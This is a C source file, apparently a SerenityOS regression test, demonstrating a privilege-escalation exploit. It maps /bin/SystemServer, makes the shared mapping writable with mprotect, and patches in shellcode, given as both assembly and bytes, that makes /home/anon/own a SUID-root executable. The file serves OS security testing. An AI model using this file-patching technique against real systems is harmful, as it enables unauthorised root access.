1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Types.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
int main()
{
int fd = open("/bin/SystemServer", O_RDONLY);
if (fd < 0) {
perror("open");
return 1;
}
u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return 1;
}
if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) {
perror("mprotect");
return 1;
}
/*
*
* This payload replaces the start of sigchld_handler in the /bin/SystemServer file.
* It does two things:
*
* chown ("/home/anon/own", 0, 0);
* chmod ("/home/anon/own", 04755);
*
* In other words, it turns "/home/anon/own" into a SUID-root executable! :^)
*
*/
#if 0
[bits 32]
[org 0x0804b111]
jmp $+17
path:
db "/home/anon/own", 0
mov eax, 79
mov edx, path
mov ecx, 0
mov ebx, 0
int 0x82
mov eax, 67
mov edx, path
mov ecx, 15
mov ebx, 2541
int 0x82
ret
#endif
const u8 payload[] = {
0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f,
0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00,
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb,
0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00,
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb,
0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3
};
memcpy(&ptr[0x3111], payload, sizeof(payload));
printf("ok\n");
return 0;
}
|
